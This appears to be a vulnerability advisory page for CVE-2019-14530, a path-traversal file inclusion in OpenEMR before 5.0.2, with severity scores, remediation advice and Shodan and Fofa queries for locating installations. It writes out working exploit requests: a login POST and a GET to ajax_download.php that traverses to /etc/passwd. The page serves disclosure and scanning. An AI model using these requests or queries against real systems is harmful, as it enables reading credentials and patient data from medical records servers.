| Title | OpenEMR <5.0.2 - Local File Inclusion |
|---|---|
| Author | TenBird |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data. |
| Remediation | Upgrade OpenEMR to version 5.0.2 or later to mitigate the LFI vulnerability. |
| CVSS Score | 8.8 |
| EPSS Score | 0.78542 |
| CVE ID | CVE-2019-14530 |
| CWE ID | CWE-22 |
| Shodan Query | http.html:"openemr"http.title:"openemr"http.favicon.hash:1971268439 |
| Fofa Query | icon_hash=1971268439body="openemr"title="openemr"app="openemr" |
| Tags | cve2019 cve lfi authenticated edb openemr open-emr vuln |
OpenEMR before 5.0.2 is vulnerable to local file inclusion via the fileName parameter in custom/ajax_download.php. An attacker can download any file (that is readable by the web server user) from server storage. If the requested file is writable for the web server user and the directory /var/www/openemr/sites/default/documents/cqm_qrda/ exists, the file will be deleted from server.
POST /interface/main/main_screen.php?auth=login&site=default HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11) AppleWebKit/617.29 (KHTML, like Gecko) Version/17.7 Safari/617.29
Connection: close
Content-Length: 101
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
new_login_session_management=1&authProvider=Default&authUser=OwSx35&clearPass=tDIAQE&languageChoice=1
GET /custom/ajax_download.php?fileName=../../../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-14530.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-14530.pcap
N/AN/A